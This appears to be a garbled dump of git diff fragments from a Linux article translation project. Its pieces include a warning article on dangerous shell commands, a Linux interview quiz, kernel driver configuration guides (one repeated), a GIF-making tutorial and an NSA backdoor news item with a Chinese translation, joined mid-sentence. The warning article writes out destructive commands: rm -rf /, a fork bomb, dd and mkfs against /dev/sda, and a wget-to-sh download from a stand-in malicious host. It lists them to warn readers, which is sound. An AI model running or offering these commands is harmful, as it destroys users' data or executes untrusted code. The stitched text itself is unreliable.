This article is not intended to make you furious of **Linux** or **Linux command** line. We just want to make you aware of some of the commands which you should think twice before you execute them. + +![](http://www.tecmint.com/wp-content/uploads/2013/11/Dangerous-Linux-Commands.png) + +### 1. rm -rf Command ### + +The **rm -rf** command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used with **rm command** are. + +- **rm** command in Linux is used to delete files. +- **rm -r** command deletes the folder recursively, even the empty folder. +- **rm -f** command removes ‘Read only File’ without asking. +- **rm -rf /** : Force deletion of everything in root directory. +- **rm -rf ** * : Force deletion of everything in current directory/working directory. +- **rm -rf .** : Force deletion of current folder and sub folders. + +Hence, be careful when you are executing **rm -rf** command. To overcome accidental delete of file by ‘**rm**‘ command, create an alias of ‘**rm**‘ command as ‘**rm -i**‘ in “**.bashrc**” file, it will ask you to confirm every deletion. + +### 2. :(){:|:&};: Command ### + +The above is actually a **fork bomb**. It operates by defining a function called ‘:‘, which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes. + + :(){:|:&};: + +### 3. command > /dev/sda ### + +The above command writes the output of ‘**command**‘ on the block **/dev/sda**. The above command writes raw data and all the files on the block will be replaced with raw data, thus resulting in total loss of data on the block. + +### 4. mv folder /dev/null ### + +The above command will move ‘**folder**‘ to **/dev/null**. In Linux **/dev/null** or **null** device is a special file that discards all the data written to it and reports that write operation succeed. + + # mv /home/user/* /dev/null + +The above command will move all the contents of a **User** directory to **/dev/null**, which literally means everything there was sent to **blackhole (null)**. + +### 5. wget http://malicious_source -O- | sh ### + +The above command will download a script from a malicious source and then execute it. Wget command will download the script and **sh** will execute the downloaded script. + +**Note**: You should be very much aware of the source from where you are downloading packages and scripts. Only use those scripts/applications which is downloaded from a trusted source. + +### 6. mkfs.ext3 /dev/sda ### + +The above command will format the block ‘**sda**’ and you would surely be knowing that after execution of the above command your Block (**Hard Disk Drive**) would be new, **BRAND NEW!** Without any data, leaving your system into unrecoverable stage. + +### 7. > file ### + +The above command is used to flush the content of file. If the above command is executed with a typo or ignorance like “> **xt.conf**” will write the configuration file or any other system or configuration file. + +### 8. ^foo^bar ### + +This command, as described in our [10 Lesser Known Linux Commands][1], is used to edit the previous run command without the need of retyping the whole command again. But this can really be troublesome if you didn’t took the risk of thoroughly checking the change in original command using **^foo^bar** command. + +### 9. dd if=/dev/random of=/dev/sda ### + +The above command will wipe out the block **sda** and write random junk data to the block. Of-course! Your system would be left at inconsistent and unrecoverable stage. + +### 10. Hidden the Command ### + +The below command is nothing but the first command above (**rm -rf**). Here the codes are hidden in **hex** so that an ignorant user may be fooled. Running the below code in your terminal will wipe your **root** partition. + +This command here shows that the threat may be hidden and not normally detectable sometimes.

For specific, industrial modelling, SAT is considered an easy problem ([see this discussion][77]). To me, this is one of the greatest success stories in recent times because it combines algorithmic advances spread over several years, clever engineering ideas, experimental evaluation, and a concerted communal effort to solve the problem.

Shell is a command Line Interpreter, Command is user Instruction to Computer, Script is collection of commands stored in a file and Terminal is a command Line Interface - -#### Q.2: What Linus Torvalds Created? #### - -- Fedora -- Slackware -- Debian -- Gentoo -- Linux - -> **Answer** : Linux Torvalds created Linux, which is the kernel (heart) of all of the above Operating System and all other Linux Operating System. - -#### Q.3: Torvalds, Wrote most of the Linux Kernel in C++ programming Language, do you agree? #### - -> **Answer** : No! Linux Kernel contains 12,020,528 Lines of codes out of which 2,151,595 Lines are comments. So remaining 9,868,933 lines are codes and out of 9,868,933 Lines of codes 7,896,318 are written in C Programming Language. - -The remaining Lines of code 1,972,615 is written in C++, Assembly, Perl, Shell Script, Python, Bash Script, HTML, awk, yacc, lex, sed, etc. - -**Note** : The Number of Lines of codes varies on daily basis and an average of more than 3,509 lines are being added to Kernel. - -#### Q.4: Linux initially was developed for intel X86 architecture but has been ported to other hardware platform than any other Operating System. Do you agree?. #### - -> **Answer** : Yes, I do agree. Linux was written for x86 machine, and has been ported to all kind of platform. Today’s more than 90% of supercomputers are using Linux. Linux made a very promising future in mobile phone, Tablets. In-fact we are surrounded by Linux in remote controls, space science, Research, Web, Desktop Computing. The list is endless. - -#### Q.5: Is it legal to edit Linux Kernel? #### - -> **Answer** : Yes, Kernel is released under General Public Licence (GPL), and anyone can edit Linux Kernel to the extent permitted under GPL. Linux Kernel comes under the category of Free and Open Source Software (FOSS). - -#### Q.6: What is the basic difference between UNIX and Linux Operating System. #### - -> **Answer** : Linux Operating System is Free and Open Source Software, the kernel of which is created by Linus Torvalds and community. Well you can not say UNIX Operating System doesn’t comes under the category of Free and Open Source Software, BSD, is a variant of UNIX which comes under the category of FOSS. Moreover Big companies like Apple, IBM, Oracle, HP, etc. are contributing to UNIX Kernel. - -#### Q. 7: Choose the odd one out. #### - -- HP-UX -- AIX -- OSX -- Slackware -- Solaris - -> **Answer** : Slackware is the odd in the above list. HP-UX, AIX, OSX, Solaris are developed by HP, IBM, APPLE, Oracle respectively and all are UNIX variant. Slackware is a Linux Operating System. - -#### Q.8: Is Linux Operating system Virus free? #### - -> **Answer** : No! There doesn’t exist any Operating System on this earth that is virus free. However Linux is known to have least number of Viruses, till date, yes even less than UNIX OS. Linux has had about 60-100 viruses listed till date. None of them actively spreading nowadays. A rough estimate of UNIX viruses is between 85 -120 viruses reported till date. - -#### Q.9: Linux is which kind of Operating System? #### - -- Multi User -- Multi Tasking -- Multi Process -- All of the above -- None of the above - -> **Answer** : All of the Above. Linux is an Operating System which supports Multi User, Running a Number of Processes performing different tasks simultaneously. - -#### Q.10: Syntax of any Linux command is: #### - -- command [options] [arguments] -- command options [arguments] -- command [options] [arguments] -- command options arguments - -> **Answer** : The correct Syntax of Linux Command is Command [options] [arguments]. - -#### Q.11: Choose the odd one out. #### - -- Vi -- vim -- cd -- nano - -> **Answer** : The odd one in the above list is cd. Vi, vim and nano are editors which is useful in editing files, while cd command is used for changing directory. - -That’s all for now. How much you learned for the above questions? How it helped you in your Interview? We would like to hear all these from you in our comment section. Wait till the next weekend, for new set of questions.

Ready for the next article? In this article, we will discuss the auxiliary-screen. The auxiliary displays are small LCD screens; most are equal to or less than 128x64. Then, we will discuss Userspace IO drivers, some virtual drivers, Hyper-V, staging drivers, IOMMU, and other kernel features. + +The first driver to configure for the auxiliary display is the "KS0108 LCD Controller" driver. The KS0108 LCD Controller is a graphics controller made by Samsung. + +Next, the parallel port address for the LCD can be set (Parallel port where the LCD is connected). The first port address is 0x378, the next is 0x278 and the third is 0x3BC. These are not the only choices of addresses. The majority of people will not need to change this. The shell command "cat /proc/ioports" will list the available parallel ports and the addresses. + +The kernel developer can set the writing delay of the KS0108 LCD Controller to the parallel port (Delay between each control writing (microseconds)). The default value is almost always correct, so this typically does not need to be changed. + +The "CFAG12864B LCD" screen is a 128x64, two-color LCD screen. This screen relies on the KS0108 LCD Controller. + +The refresh rate of these LCD screens can be changed (Refresh rate (hertz)). Generally, a higher refresh rate causes more CPU activity. This means slower systems will need a smaller refresh rate. + +After the auxiliary displays are configured, the "Userspace I/O drivers" are then set. The userspace system allows the user's applications and processes to access kernel interrupts and memory addresses. With this enabled, some drivers will be placed in the userspace. + +The "generic Hilscher CIF Card driver" is a userspace driver for Profibus cards and Hilscher CIF Cards. + +The "Userspace I/O platform driver" creates a general system for drivers to be in the userspace. + +The next driver is the same as above, but adds IRQ handling (Userspace I/O platform driver with generic IRQ handling). + +The following driver is again like the one before, but with dynamic memory abilities added (Userspace platform driver with generic irq and dynamic memory). + +Next, some vendor/device specific drivers are available. + +Then, there is a generic PCI/PCIe card driver (Generic driver for PCI 2.3 and PCI Express cards). + +The following driver is for "VFIO support for PCI devices". VFIO stands for Virtual Function Input/Output. VFIO allows devices to directly access userspace in a secure fashion. + +The "VFIO PCI support for VGA devices" allows VGA to be supported by PCI through VFIO. + +Next, are virtio drivers. Virtio is a IO virtualization platform. This virtual software is for operating system virtualization. This is required for running an operating system in a virtual machine on the Linux system. + +The first virtio driver we can configure is the "PCI driver for virtio devices". This allows virtual access to PCI. + +The "Virtio balloon driver" allows the memory owned by a virtual system to be expanded or decreased as needed. Generally, no one wants a virtual system to reserve memory it may never use when the host operating system needs the memory. + +The following driver supports memory mapped virtio devices (Platform bus driver for memory mapped virtio devices). + +If the Linux kernel being configured is intended to run on a Microsoft Hyper-V system, then enable this driver (Microsoft Hyper-V client drivers). This would allow Linux to be the guest/client system on Hyper-V. + +![](http://www.linux.org/attachments/kernel_18-png.617/) + +Next, we have the staging drivers. These are drivers that are under development, may change soon, or are not up to the standard quality for the Linux kernel. The only group of drivers in this category (in this kernel version 3.9.4) are the Android drivers. Yes, Android uses the Linux kernel which would make Android a Linux system. However, this is still debated. If the kernel is intended for Android, then it may be wise to enable all of the drivers. + +The "Android Binder IPC Driver" provides support for Binder which is a system that allows processes to communicate with each other on Android systems. + +The ashmem driver can be enabled next (Enable the Anonymous Shared Memory Subsystem). Ashmem stands for "Anonymous SHared MEMory" or "Android SHared MEMory". This supports a file-based memory system for userspace. + +The "Android log driver" offers the complete Android logging system. + +The "Timed output class driver" and "Android timed gpio driver" allow the Android system to manipulate GPIO pins and undo the manipulations after the timeout. + +The "Android Low Memory Killer" closes processes when more memory is needed. This feature kills the tasks that are not used or inactive. + +The "Android alarm driver" makes the kernel wakeup at set intervals. + +After the staging drivers are configured, the next set of drivers are for the X86 platform. These drivers are vendor/device specific for X86 (32-bit) hardware. + +The next driver is for "Mailbox Hardware Support". This framework controls mailbox queues and interrupt signals for hardware mailbox systems. + +"IOMMU Hardware Support" links the memory to devices that are able to use DMA. IOMMU enhances DMA. The IOMMU maps addresses and blocks faulty devices from accessing the memory. IOMMU also allows hardware to access more memory than it could without IOMMU. + +The "AMD IOMMU support" driver offers better IOMMU support for AMD devices. + +Debugging abilities exist for the AMD IOMMU support (Export AMD IOMMU statistics to debugfs). + +A newer version of the IOMMU driver exists for AMD hardware (AMD IOMMU Version 2 driver). + +The Linux kernel also provides an IOMMU driver specifically for Intel devices (Support for Intel IOMMU using DMA Remapping Devices). + +Some devices may be able to accept a variety of voltages and clock frequencies. This driver allows the operating system to control the device's voltage output and clock rate (Generic Dynamic Voltage and Frequency Scaling (DVFS) support). With this driver enabled, other kernel features can be enabled for power/performance management as seen below. + +"Simple Ondemand" is like above, but specifically changes the clock rate based on the device's activity. Generally, more activity means the device needs a faster clock speed to accommodate for the larger resource demand. + + +"Performance" allows the system to set the clock speed to the maximum supported amount for best performance. This increases power consumption. + +"Powersave" sets the clock rate to the lowest value to save power. + +"Userspace" allows the userspace to set the clock speed. + +"External Connector Class (extcon) support" provides the userspace with a way to watch external connectors like USB and AC ports. This allows applications to know if a cable was plugged into a port. Users will almost always want this enabled. If anyone has purposely disabled this for a legitimate reason, please share with us why that would be needed. + +The "GPIO extcon support" driver is just like the above driver, but is made specifically for GPIO pins. + +Next, there is a list of various vendor/device specific controllers for memory (Memory Controller drivers). Memory chip controllers may be separate devices or built inside the memory chips. These controllers manage the incoming and outgoing data flow. + +The "Industrial I/O support" driver provides a standard interface for sensors despite the bus type they are on (that is, PCIe, spi, GPIO, etc.). IIO is a common abbreviation for Industrial Input/Output. + +The Linux kernel offers support for a large variety of accelerometers, amplifiers, analog to digital converters, inertial measurement units, light sensors, magnetometer sensors, and many other sensors and converters. + +The "Intel Non-Transparent Bridge support" driver supports PCIe hardware bridges which connect to systems. All writes to mapped memory will be mirrored on both systems. + +"VME bridge support" is the same as above except the bridge uses VME which is a different bus standard. + +"Pulse-Width Modulation (PWM) Support" controls the back-light and fan speed by regulating the average power received by such devices. + +"IndustryPack bus support" offers drivers for the IndustryPack bus standards. + +In the next article, we will configure the firmware drivers.

We are getting closer to the end of the configuration process. In this article, we will discuss firmware drivers and then the filesystem drivers. + +The first driver in this category is for finding the boot-disk (BIOS Enhanced Disk Drive calls determine boot disk). Sometimes, Linux does not know which drive is the bootable drive. This driver allows the kernel to ask the BIOS. Linux then stores the information on sysfs. Linux needs to know this for setting up bootloaders. + +Even if BIOS EDD services are compiled in the kernel, this option can set such services to be inactive by default (Sets default behavior for EDD detection to off ). EDD stands for Enhanced Disk Drive. + +When using kexec to load a different kernel, performance can be increased by having the firmware provide a memory map (Add firmware-provided memory map to sysfs). + +The "Dell Systems Management Base Driver" gives the Linux kernel better control of the Dell hardware via the sysfs interface. + +The hardware's information can be accessed by the software via /sys/class/dmi/id/ with this driver enabled (Export DMI identification via sysfs to userspace). DMI stands for Desktop Management Interface. The DMI manages the components of the hardware and can access the hardware's data. The structure of the data in the BIOS and hardware is regulated by the System Management BIOS (SMBIOS) specification. + +The raw data tables from the DMI can be accessed with this driver (DMI table support in sysfs). + +To boot from an iSCSI driver, enable this driver (iSCSI Boot Firmware Table Attributes). + +The last firmware driver is a set of "Google Firmware Drivers". These are drivers for Google-specific hardware. Do not enable this driver unless you work for Google and need to use Linux on such hardware or if you are making a Linux kernel for a computer you stole from Google. + +Next, we can configure the file system support of the kernel. + +The "Second extended fs support" driver provides the EXT2 filesystem. [http://www.linux.org/threads/ext-file-system.4365/][1] + +![](http://www.linux.org/attachments/kernel_19-png.627/) + +The "Ext2 extended attributes" offers the ability to use extra metadata not natively supported by the filesystem. + +The "Ext2 POSIX Access Control Lists" driver adds additional permission schemes not native to EXT2. + +The "Ext2 Security Labels" enhances the security provided by SElinux. + +Enabling "Ext2 execute in place support" allows executables to be executed in the current location without being executed using the paged cache. + +The EXT3 filesystem is offered by this driver (Ext3 journaling file system support). [http://www.linux.org/threads/ext-file-system.4365/][2] + +The "Default to 'data=ordered' in ext3" driver sets the data ordering mode to "Ordered". This deals with the way the journaling and writing work.

[http://www.linux.org/threads/xfs-file-system.4364/][6] + +The Global FileSystem 2 is supported by the Linux kernel (GFS2 file system support). This filesystem is used to share storage in a cluster. + +The "GFS2 DLM locking" driver offers a distributed lock manager (DLM) for GFS2. + +The Oracle Cluster FileSystem 2 is supported by the Linux kernel (OCFS2 file system support). This filesystem is used to share storage in a cluster. + +The "O2CB Kernelspace Clustering" driver offers various services for the OCFS2 filesystem. + +The "OCFS2 Userspace Clustering" driver allows the cluster stack to execute in userspace. + +The "OCFS2 statistics" driver allows the user to get statistics concerning the filesystem. + +Like with most of the Linux kernel, the OCFS2 offers logging (OCFS2 logging support). This may be used to watch for errors or for debugging purposes. + +The "OCFS2 expensive checks" driver offers storage consistency checks at the cost of performance. Some Linux users recommend only enabling this feature for debugging purposes. + +The kernel also contains the new B-Tree FileSystem; this driver offers the disk formatter (Btrfs filesystem Unstable disk format).

Disabling this driver will reduce the kernel size by about eleven kilobytes. The driver provides file-locking. File-locking is the process of allowing one process to read a file at a time. This is commonly used with network filesystems like NFS. + +The "Dnotify support" driver is a legacy filesystem notification system that informs the userspace of events on the file system. One use of this and the successor notifications software is to monitor the filesystem for applications. Certain applications tell this daemon what events to watch. Otherwise, each userspace application would need to complete this task themselves. + +Remember, Dnotify is a legacy system, so what is the new notification system? It is Inotify which is provided by this driver (Inotify support for userspace). + +An alternative notification system is fanotify (Filesystem wide access notification). Fanotify is the same as Inotify, but fanotify relays more information to the userspace than Inotify. + +Fanotify can check permissions with this driver enabled (fanotify permissions checking). + +For systems that need to divide the storage space by user will want "Quota support". [http://www.linux.org/threads/atomic-disk-quotas.4277/][9] + +The following driver allows disk quota warnings and messages to be reported through netlink (Report quota messages through netlink interface). Netlink is a socket interface on the userspace that communicates with the kernel. + +Quota messages can also be sent to a console (Print quota warnings to console (OBSOLETE)). + +This driver allows the quota system to perform extra sanity checks (Additional quota sanity checks). In computer technology, a sanity check is the process of checking for errors that may be due to poor programming. The files and output are inspected to ensure the data is what it should be and not structured in some odd fashion. + +Some old system use the old quota system but want to retain the old quota system when upgrading to a newer kernel. This is easily solved by enabling this driver (Old quota format support). Many readers may be wondering why someone would want to keep the old quota system instead of upgrading. Well, imagine being the manager of the IT department of a very large corporation that has many servers running very important tasks. Would you want to create and configure a new (and possibly large) quota system when you can continue using the one that works well? Generally, with computers, follow the principle - If it is not broken or will not cause security issues, do not fix it. + +The newer quota system supports 32-bit UIDs and GIDs with this driver (Quota format vfsv0 and vfsv1 support). + +To automatically mount remote storage units, enable this driver (Kernel automounter version 4 support). + +FUSE filesystems are supported by this driver (FUSE (Filesystem in Userspace) support). Filesystem in Userspace (FUSE) allows any user to create their own filesystem and utilize it in userspace. + +A special extension for FUSE can be used to utilize character devices in userspace (Character device in Userspace support). + +In the next article, we will discuss caches, optical disc filesystems, FAT32 on Linux, and other interesting filesystem topics.

If you haven't noticed, quite a few online sharing and social networking sites are now supporting animated GIF images, for example, on [Tumblr][1], [Flickr][2], [Google+][3], and [partly on Facebook][4]. Due to their ease of consumption and sharing, GIF-ed animations are now part of mainstream Internet culture. + +So some of you may wonder how you can create such animated GIF images. There are various online or offline tools dedicated to create animated GIF images. Another option is to create an animated GIF image off of an existing video clip. In this tutorial, I will describe **how to convert a video file to an animated GIF image on Linux**. + +As a more useful example, let me demonstrate how to **convert a YouTube video to an animated GIF image**. + +### Step 1: Download a YouTube Video ### + +First, download a YouTube video that you would like to convert. You can use [youtube-dl][5] tool to save a YouTube video as an MP3 file. Suppose you saved your favorite YouTube video as "funny.mp3". + +### Step 2: Extract Video Frames from a Video ### + +Next, [install FFmpeg][5] on your Linux system, which I will use to extract video frames from the video. + +The following command will extract individual video frames, and save them as GIF images. Make sure to use the output file format ("out%04d.gif") as is.

For that, you can use ImageMagick. + +First, [install ImageMagick][7] on your Linux system if you haven't done so. + +Then, run the following command to merge created GIF images into a single animated GIF file. + + convert -delay x -loop 0 out*gif + +In the command, "-delay" is an option that controls the animation speed. This option indicates that [ticks/ticks-per-second] seconds must elapse before the display of the next frame. The "-loop 0" option indicates infinite loops of animation. If you want, you can specify "-loop N", in which case the animation will repeat itself N times. + +For example, to create an animated GIF image with 20 frames-per-second and infinite loop, use the following command. + + $ convert -delay 1x20 -loop 0 out*.gif animation.gif + +### Step 4 (Optional): Reduce the Size of an Animated GIF ### + +The last (optional) step is to reduce the size of the created GIF file, by using ImageMagick's GIF optimizer. + +Use the following command to reduce the GIF size. + + convert -layers Optimize animation.gif animation_small.gif + +Now you are ready to share the GIF image on your social networks.

In fact, is makes sense in the grand scheme of things. After all, why wouldn’t the NSA ask Linus to do this? - -While Nils doesn’t explain how Linus responded – I’d like to think it involved two fingers – we can be sure that it, at the very least, involved an explanation of how open source prevents something like that being possible. - -If any holes were left around for the NSA’s overly-long tentacles to creep into, you can bet your bottom dollar that they’d have been found, exposed and rooted out long before now. - --------------------------------------------------------------------------------- - -via: http://www.omgubuntu.co.uk/2013/11/nsa-ask-linus-torvalds-include-backdoors-linux-father-says-yes - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://www.nsa.gov/ -[2]:http://youtu.be/EkpIddQ8m2s?t=3h09m06s -[3]:http://www.youtube.com/watch?v=7gRsgkdfYJ8 -[4]:http://mashable.com/2013/09/19/linus-torvalds-backdoor-linux/ -[5]:http://www.telegraph.co.uk/technology/internet-security/10459081/Yahoo-to-encrypt-internal-traffic-following-NSA-revelations.html -[6]:http://www.bbc.co.uk/news/technology-23285642 diff --git a/translated/NSA Asked Linus Torvalds To Give Them Backdoor Access In Linux, Says MEP.md b/translated/NSA Asked Linus Torvalds To Give Them Backdoor Access In Linux, Says MEP.md new file mode 100644 index 0000000000..a9ef7b68e4 --- /dev/null +++ b/translated/NSA Asked Linus Torvalds To Give Them Backdoor Access In Linux, Says MEP.md @@ -0,0 +1,40 @@ +欧洲议会：NSA曾要求Linus Torvalds给予他们在Linux中植入后门的权限 +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2011/01/DSC01782.jpg) + +*照片中为大神Linus(左)和Benjamin Humphrey（译者注：该小伙儿为本文原文出处‘OMG！Ubuntu！’的联合创始人之一，现已离开OMGUbuntu）！照片摄于2011年* + +美国国家安全局（[**NSA**][1]）宣称，他们曾经要求Linux的创始人，Linus Torvalds，在GNU/Linux中建立一个他们可以访问的“后门”。 + +这绝非谣言，Linus的父亲，Nils Torvalds如此说道。 + +作为欧洲议会（MEP）的成员之一，Nils出席了最近关于“欧盟公民监视问题”的委员会质询会议。根据爱德华·斯诺登泄露出的一些NSA文档，委员会对文档中列出的一些公司代表就所谓的“合作”进行了质询。 + +同属欧洲议会成员的瑞典盗版党主席Christian Engström就质问微软的发言人，其公司是否曾主动为NSA在他们的系统中植入过“后门”，（译者注：盗版党是一个以废除专利制度、维护公民隐私为宗旨的民间自发政党，最先在瑞典出现，传送门→[盗版党百度百科](http://baike.baidu.com/view/1104760.htm)）。之后，Nils Torvalds[说道][2]： + +> 我的长子[Linus Torvalds]也被问到了同样的问题 —— “NSA是否曾要求他植入后门？”，当时他嘴里回答“No”，但同时却在点头。我的儿子是自由主义者，他已经给出了正确的回答…… 每个人都明白，NSA的确曾要求他这么干过！ + +如果这段描述让你觉着耳熟，你可以[看下Youtube上关于这一段的视频片段][3]。后来Linus坚称他当时只是开玩笑，[NSA并没有为此找过他][4]。 + +**但是，根据11月11号质询会议上的发言看来，他的父亲并不这么想。** + +根据文档，Google、[Yahoo!][5]、Facebook以及 —— [的确还有微软][6]，都在NSA要求提供“后门”的合作公司之列，仅这一发现，就足以震惊全世界。事实上，这些还只是冰山一角。因此，凭什么说NSA不会要求Linus也这么做呢？ + +Nils并没有说Linus具体是如何回应的 —— 但我估计，这说明了两个问题，首先我们至少可以肯定的一点是，开源世界一直在努力防范类似事情成为可能； + +其次，如果真的有某些漏洞存在，NSA长长的触手早就已经把你的压箱底私房钱翻个底儿掉了。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/11/nsa-ask-linus-torvalds-include-backdoors-linux-father-says-yes + +译者：[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.nsa.gov/ +[2]:http://youtu.be/EkpIddQ8m2s?t=3h09m06s +[3]:http://www.youtube.com/watch?v=7gRsgkdfYJ8 +[4]:http://mashable.com/2013/09/19/linus-torvalds-backdoor-linux/ +[5]:http://www.telegraph.co.uk/technology/internet-security/10459081/Yahoo-to-encrypt-internal-traffic-following-NSA-revelations.html +[6]:http://www.bbc.co.uk/news/technology-23285642 \ No newline at end of file From 83967c5d12364dd1fd41506fcd2a80929045ebc1 Mon Sep 17 00:00:00 2001 From: tinyeyeser Date: Tue, 26 Nov 2013 11:04:04 +0800 Subject: [PATCH 228/402] =?UTF-8?q?=E5=B7=B2=E6=A0=A1=E5=AF=B9=20by?= =?UTF-8?q?=E5=B0=8F=E7=9C=BC=E5=84=BF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...xamples To Get Operating System Details.md | 28 +++++++++---------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/translated/9 Linux Uname Command Examples To Get Operating System Details.md b/translated/9 Linux Uname Command Examples To Get Operating System Details.md index 181fcfbee1..ad57d016a1 100644 --- a/translated/9 Linux Uname Command Examples To Get Operating System Details.md +++ b/translated/9 Linux Uname Command Examples To Get Operating System Details.md @@ -1,18 +1,18 @@ -九个用Linux uname 命令获取操作系统详情的实例 +九个简单实例教你用uname命令获取Linux操作系统详情 ================================================================================ ![](http://linoxide.com/wp-content/uploads/2013/11/linux-uname-command.png) -当你在控制台模式下,无法通过‘右击 > About’给予你关于操作系统的信息.在Linux下,你可以用**uname**命令,帮助你完成.

Ready for the next article? In this article, we will discuss the auxiliary-screen. The auxiliary displays are small LCD screens; most are equal to or less than 128x64. Then, we will discuss Userspace IO drivers, some virtual drivers, Hyper-V, staging drivers, IOMMU, and other kernel features. - -The first driver to configure for the auxiliary display is the "KS0108 LCD Controller" driver. The KS0108 LCD Controller is a graphics controller made by Samsung. - -Next, the parallel port address for the LCD can be set (Parallel port where the LCD is connected). The first port address is 0x378, the next is 0x278 and the third is 0x3BC. These are not the only choices of addresses. The majority of people will not need to change this. The shell command "cat /proc/ioports" will list the available parallel ports and the addresses. - -The kernel developer can set the writing delay of the KS0108 LCD Controller to the parallel port (Delay between each control writing (microseconds)). The default value is almost always correct, so this typically does not need to be changed. - -The "CFAG12864B LCD" screen is a 128x64, two-color LCD screen. This screen relies on the KS0108 LCD Controller. - -The refresh rate of these LCD screens can be changed (Refresh rate (hertz)). Generally, a higher refresh rate causes more CPU activity. This means slower systems will need a smaller refresh rate. - -After the auxiliary displays are configured, the "Userspace I/O drivers" are then set. The userspace system allows the user's applications and processes to access kernel interrupts and memory addresses. With this enabled, some drivers will be placed in the userspace. - -The "generic Hilscher CIF Card driver" is a userspace driver for Profibus cards and Hilscher CIF Cards. - -The "Userspace I/O platform driver" creates a general system for drivers to be in the userspace. - -The next driver is the same as above, but adds IRQ handling (Userspace I/O platform driver with generic IRQ handling). - -The following driver is again like the one before, but with dynamic memory abilities added (Userspace platform driver with generic irq and dynamic memory). - -Next, some vendor/device specific drivers are available. - -Then, there is a generic PCI/PCIe card driver (Generic driver for PCI 2.3 and PCI Express cards). - -The following driver is for "VFIO support for PCI devices". VFIO stands for Virtual Function Input/Output. VFIO allows devices to directly access userspace in a secure fashion. - -The "VFIO PCI support for VGA devices" allows VGA to be supported by PCI through VFIO. - -Next, are virtio drivers. Virtio is a IO virtualization platform. This virtual software is for operating system virtualization. This is required for running an operating system in a virtual machine on the Linux system. - -The first virtio driver we can configure is the "PCI driver for virtio devices". This allows virtual access to PCI. - -The "Virtio balloon driver" allows the memory owned by a virtual system to be expanded or decreased as needed. Generally, no one wants a virtual system to reserve memory it may never use when the host operating system needs the memory. - -The following driver supports memory mapped virtio devices (Platform bus driver for memory mapped virtio devices). - -If the Linux kernel being configured is intended to run on a Microsoft Hyper-V system, then enable this driver (Microsoft Hyper-V client drivers). This would allow Linux to be the guest/client system on Hyper-V. - -![](http://www.linux.org/attachments/kernel_18-png.617/) - -Next, we have the staging drivers. These are drivers that are under development, may change soon, or are not up to the standard quality for the Linux kernel. The only group of drivers in this category (in this kernel version 3.9.4) are the Android drivers. Yes, Android uses the Linux kernel which would make Android a Linux system. However, this is still debated. If the kernel is intended for Android, then it may be wise to enable all of the drivers. - -The "Android Binder IPC Driver" provides support for Binder which is a system that allows processes to communicate with each other on Android systems. - -The ashmem driver can be enabled next (Enable the Anonymous Shared Memory Subsystem). Ashmem stands for "Anonymous SHared MEMory" or "Android SHared MEMory". This supports a file-based memory system for userspace. - -The "Android log driver" offers the complete Android logging system. - -The "Timed output class driver" and "Android timed gpio driver" allow the Android system to manipulate GPIO pins and undo the manipulations after the timeout. - -The "Android Low Memory Killer" closes processes when more memory is needed. This feature kills the tasks that are not used or inactive. - -The "Android alarm driver" makes the kernel wakeup at set intervals. - -After the staging drivers are configured, the next set of drivers are for the X86 platform. These drivers are vendor/device specific for X86 (32-bit) hardware. - -The next driver is for "Mailbox Hardware Support". This framework controls mailbox queues and interrupt signals for hardware mailbox systems. - -"IOMMU Hardware Support" links the memory to devices that are able to use DMA. IOMMU enhances DMA. The IOMMU maps addresses and blocks faulty devices from accessing the memory. IOMMU also allows hardware to access more memory than it could without IOMMU. - -The "AMD IOMMU support" driver offers better IOMMU support for AMD devices. - -Debugging abilities exist for the AMD IOMMU support (Export AMD IOMMU statistics to debugfs). - -A newer version of the IOMMU driver exists for AMD hardware (AMD IOMMU Version 2 driver). - -The Linux kernel also provides an IOMMU driver specifically for Intel devices (Support for Intel IOMMU using DMA Remapping Devices). - -Some devices may be able to accept a variety of voltages and clock frequencies. This driver allows the operating system to control the device's voltage output and clock rate (Generic Dynamic Voltage and Frequency Scaling (DVFS) support). With this driver enabled, other kernel features can be enabled for power/performance management as seen below. - -"Simple Ondemand" is like above, but specifically changes the clock rate based on the device's activity. Generally, more activity means the device needs a faster clock speed to accommodate for the larger resource demand. - - -"Performance" allows the system to set the clock speed to the maximum supported amount for best performance. This increases power consumption. - -"Powersave" sets the clock rate to the lowest value to save power. - -"Userspace" allows the userspace to set the clock speed. - -"External Connector Class (extcon) support" provides the userspace with a way to watch external connectors like USB and AC ports. This allows applications to know if a cable was plugged into a port. Users will almost always want this enabled. If anyone has purposely disabled this for a legitimate reason, please share with us why that would be needed. - -The "GPIO extcon support" driver is just like the above driver, but is made specifically for GPIO pins. - -Next, there is a list of various vendor/device specific controllers for memory (Memory Controller drivers). Memory chip controllers may be separate devices or built inside the memory chips. These controllers manage the incoming and outgoing data flow. - -The "Industrial I/O support" driver provides a standard interface for sensors despite the bus type they are on (that is, PCIe, spi, GPIO, etc.). IIO is a common abbreviation for Industrial Input/Output. - -The Linux kernel offers support for a large variety of accelerometers, amplifiers, analog to digital converters, inertial measurement units, light sensors, magnetometer sensors, and many other sensors and converters. - -The "Intel Non-Transparent Bridge support" driver supports PCIe hardware bridges which connect to systems. All writes to mapped memory will be mirrored on both systems. - -"VME bridge support" is the same as above except the bridge uses VME which is a different bus standard. - -"Pulse-Width Modulation (PWM) Support" controls the back-light and fan speed by regulating the average power received by such devices. - -"IndustryPack bus support" offers drivers for the IndustryPack bus standards. - -In the next article, we will configure the firmware drivers.

